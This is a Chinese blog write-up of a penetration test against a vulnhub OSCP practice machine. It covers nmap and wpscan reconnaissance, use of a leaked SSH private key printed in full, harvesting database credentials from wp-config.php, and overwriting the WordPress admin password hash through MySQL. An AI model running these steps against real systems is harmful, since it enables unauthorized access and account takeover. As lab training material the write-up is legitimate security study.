

vulhub上oscp InfoSec靶机渗透测试writeup

原创

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订阅专栏

这里写目录标题

信息搜集

nmap搜集靶机信息

访问80端口网站, 探索网站信息

阅读网页内容搜集到一个有效信息(这台主机的用户名是oscp)

发现80端口下有/secret.txt文件, 我们直接去访问看看, 发现一串字符, 这时候猜测应该是加密的什么重要内容, 很兴奋。接下来我们要解密。

这串加密像是base64加密, 于是我在将密文下载到kali虚拟机中使用secret.txt命名。然后使用命令base64 -d secret.txt > private_key解密并将内容保存到private_key文件中, 解密以后的内容如下。这时候我们发现这是一串密钥, 我们可以尝试用这个密钥去登陆。

发现网站时WordPress开源项目构建的网站, 于是我们用wpscan去扫描可能存在的漏洞和枚举用户

查询漏洞(发现了XML-RPC漏洞, 但是我利用失败了, 这里知识传递思想, 告诉大家应该搜集这些信息)

枚举用户(通过这一步我们枚举得到一个用户名: admin。虽然前面搜集的信息说到唯一的用户名是oscp, 这里只是告诉大家这里也能够枚举出用户, 告诉我们登录信息)

信息利用(通过信息搜集阶段, 我们得到了个私钥文件, 现在尝试使用它去登陆ssh)

回顾

尝试登陆(成功登陆了oscp账户)

继续收集信息准备提权

上传peas执行收集信息, 运行在大量输出中找到如下信息, 发现数据库账号密码

登陆mysql以后update密码, 之后我们可以登陆wordpress的admin账户

信息搜集

nmap搜集靶机信息

```
nmap -sS -sV -O -A -p- -o nmap.scan 192.168.1.9
```

```
# Nmap 7.91 scan initiated Thu Feb  4 20:21:17 2021 as: nmap -sS -sV -A -O -p- -o nmap.scan 192.168.1.9
Nmap scan report for 192.168.1.9
Host is up (0.00036s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
|_ssh hostkey:
|   3072 91:ba:0d:d4:39:05:e3:13:55:57:8f:1b:46:90:db:e4 (RSA)
|   256 0f:35:d1:a1:31:f2:f6:aa:75:e8:17:01:e7:1e:d1:d5 (ECDSA)
|   256 af:f1:53:ea:7b:4d:d7:fa:d8:de:0d:f2:28:fc:86:d7 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.4.2
|_http-robots.txt: 1 disallowed entry
|_secret.txt
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: OSCP Voucher &#8211; Just another WordPress site
33060/tcp open  mysqlx?
|_fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|   Invalid message"
```

访问80端口网站，探索网站信息

阅读网页内容搜集到一个有效信息（这台主机的用户名是oscp）

Heya! Welcome to the hunt.

In order to enter the give away, you must obtain the root flag located in `/root/`. Once you've obtained the flag, message the TryHarder bot with the command `!flag <insert flag>`. It will then validate the flag for verification. Should it be incorrect, it will let you know. If it's correct, you will be given a new role on the server where you can chat with others in a private channel. Once you've received the role you are entered into the give away!

You must be a member of the server in order to use the command above.

欧耶! 差点忘了告诉你们, 这台机器上唯一的用户是oscp

For those downloading this box off vulnhub at a later time, the command above will no longer be available.

Oh yea! Almost forgot the only user on this box is "oscp".

A big thank you to Offensive Security for providing the voucher.

https://blog.csdn.net/qq_44835378

发现80端口下有`/secret.txt`文件, 我们直接去访问看看, 发现一串字符, 这时候猜测应该是加密的什么重要内容, 很兴奋。接下来我们要解密。


```
-----BEGIN OPENSsh PRIVATE KEY-----
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
8nfK2oDc6LfrDmjQAAAAALvc2NwQG9zY3A=
-----END OPENSsh PRIVATE KEY-----
```

https://blog.csdn.net/qq_44635376

发现网站时WordPress开源项目构建的网站，于是我们用wpscan去扫描可能存在的漏洞和枚举用户

查询漏洞(发现了XML-PRC漏洞，但是我利用失败了，这里知识传递思想，告诉大家应该搜集这些信息)

```
wpscan --url http://192.168.1.9/
```



```
[+] URL: http://192.168.1.9/ [192.168.1.9]
[+] Started: Thu Feb 4 20:42:41 2021

Interesting Finding(s):

[+] Headers
  Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
  Found By: Headers (Passive Detection)
  Confidence: 100%

[+] robots.txt found: http://192.168.1.9/robots.txt
  Found By: Robots Txt (Aggressive Detection)
  Confidence: 100%

[-] XML-RPC seems to be enabled: http://192.168.1.9/xmlrpc.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%
  References:
  - http://codex.wordpress.org/XML-RPC_Pingback_API
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghos
t_scanner
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_x41605376
```

枚举用户（通过这一步我们枚举得到一个用户名：**admin**。虽然前面搜集的信息说到唯一的用户名是**oscp**，这里只是告诉大家这里也能够枚举出用户，告诉我们登录信息）

```
wpscan --url http://192.168.1.9/ -e u
```

```
[i] User(s) Identified:

[+] admin
  Found By: Author Posts - Author Pattern (Passive Detection)
  Confirmed By:
  Rss Generator (Passive Detection)
  Wp Json Api (Aggressive Detection)
  - http://192.168.1.9/index.php/wp-json/wp/v2/users/?per_page=100&page=1
  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been ou
```

信息利用（通过信息搜集阶段，我们得到了个私钥文件，现在尝试使用它去登陆ssh）

回顾

这里总结一下，通过前面的信息收集，我已经获得一个私钥文件private-key，一个没有用的漏洞“XML-RPC”，一个oscp用户名和一个admin用户名

尝试登陆（成功登陆了oscp账户）

```
ssh admin@192.168.1.9 -i private-key //尝试登陆admin用户，登陆失败
ssh oscp@192.168.1.9 -i private-key //尝试登陆oscp用户。登陆成功
```

此实已经成功登录。

```
(root@kali) ~/?桌面/0scrp
ssh oscp@192.168.1.9 -i private_key
Welcome to ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:       https://ubuntu.com/advantage

System information as of Fri 05 Feb 2021 02:10:00 AM UTC

System load:  0.0          Processes:            214
Usage of /:   26.3% of 19.56GB   Users logged in:     1
Memory usage: 71%          IPv4 address for eth0: 192.168.1.9
Swap usage:   0%

0 updates can be installed immediately.
0 of these updates are security updates.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Feb  5 01:57:31 2021 from 192.168.1.10
-bash-5.0$
```

继续收集信息准备提权

上传peas执行收集信息，运行在大量输出中找到如下信息，发现数据库账号密码

```
/var/www/html/wp-config.php
/usr/share/wordpress/wp-config.phpdefine( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpress' );
define( 'DB_PASSWORD', '0scp12345!' );
define( 'DB_HOST', 'localhost' );
$debian_server = preg_replace('/:.*/', '', $_SERVER['HTTP_HOST']);
if (!defined('DB_NAME'))
    define('DB_NAME', 'wordpress');
if (!defined('DB_USER'))
    define('DB_USER', 'wordpress');
if (!defined('DB_HOST'))
    define('DB_HOST', 'localhost');
```

登陆mysql以后update密码，之后我们可以登陆wordpress的admin账户

```
-bash-5.0$ mysql -h localhost -u wordpress -p wordpress
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2210
Server version: 8.0.20-0ubuntu0.20.04.1 (Ubuntu)

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owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement
.
mysql> databases
→ ;
```

```
mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| wordpress |
+-----+
2 rows in set (0.00 sec)

mysql> select database();
+-----+
| database() |
+-----+
| wordpress |
+-----+
1 row in set (0.00 sec)

mysql> show tables;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----+
12 rows in set (0.00 sec)
```

查看所有数据库

查看当前数据库

查看当前数据库的所有表

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查看数据库中的用户密码（密码加密

了，我不破解密码了，接下来直接换密码）

```
mysql> select * from wp_users;
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | admin | $P$Bx9ohXoCVR5lktuQbuWuh2P36Pr1D0 | admin | offsec@offsec.com | http://192.168.128.135 | 2020-07-09 06:12:49 | 1612490194:$P$Bxa3XusRpdKwdYAgc51a5EUTTa8Row0 | 0 | admin |
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
```

随便找个加密网站，把12345加密，然后用加密后的密文去替换原密码

当前位置: 站长工具 > 散列/哈希加密解密

DES,AES对称加密解密 MD5加密/解密 URL加密 JS加/解密 JS混淆加密压缩 ESCAPE加/解密 BASE64 散列/哈希 迅雷, 快车, 旋风URL加密

12345

827ccb0eea8a706c4c34a16891f84e7b

SHA224 SHA256 SHA384 SHA512 HmacSHA1 HmacMD5 HmacSHA224 HmacSHA256 HmacSHA384 HmacSHA512 MD5

SHA1 清空结果

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```
mysql> update wp_users set user_pass="827ccb0eea8a706c4c34a16891f84e7b" where user_login=admin;
ERROR 1054 (42S22): Unknown column 'admin' in 'where clause'
mysql> update wp_users set user_pass="827ccb0eea8a706c4c34a16891f84e7b" where user_login="admin";
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0

mysql> select * from wp_users;
```

ID	user_login	user_pass	user_nicename	user_email	user_url	user_registered	user_activation_key	user_status	display_name
1	admin	827ccb0eea8a706c4c34a16891f84e7b	admin	offsec@offsec.com	http://192.168.128.135	2020-07-09 06:12:49	1612490104:\$P\$8xa3XusRpdKwYAgc51a5EUTm8Row0	0	admin

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更换密码

用替换的密码登陆（原密码最好复制一下，登陆进去以后用admin创建你自己的密码，之后记得把原密码换回去）



您现在已注销。

用户名或邮箱地址

admin

密码

•••••



记住账号

登录

https://blog.csdn.net/qq_44635376

可以看

到成功登录

The screenshot shows the WordPress dashboard for a user named 'admin'. At the top, there is a notification for WordPress 5.6.1. The main content area is titled 'Dashboard' and includes a 'Welcome to WordPress!' message with a 'Dismiss' button. Below this, there are three columns of quick actions: 'Get Started' with a 'Customize Your Site' button, 'Next Steps' with links to write a post, add an about page, set up a homepage, and view the site; and 'More Actions' with links to manage widgets, menus, comments, and get started. At the bottom, there are three widget areas: 'Site Health Status' (indicating 'Should be improved'), 'Quick Draft' (with fields for title and content), and a large empty area labeled 'Drag boxes here'. The left sidebar contains navigation links for Home, Updates (5), Posts, Media, Pages, Comments (17), Appearance, Plugins (1), Users, Tools, and Settings.

https://blog.csdn.net/qq_44635376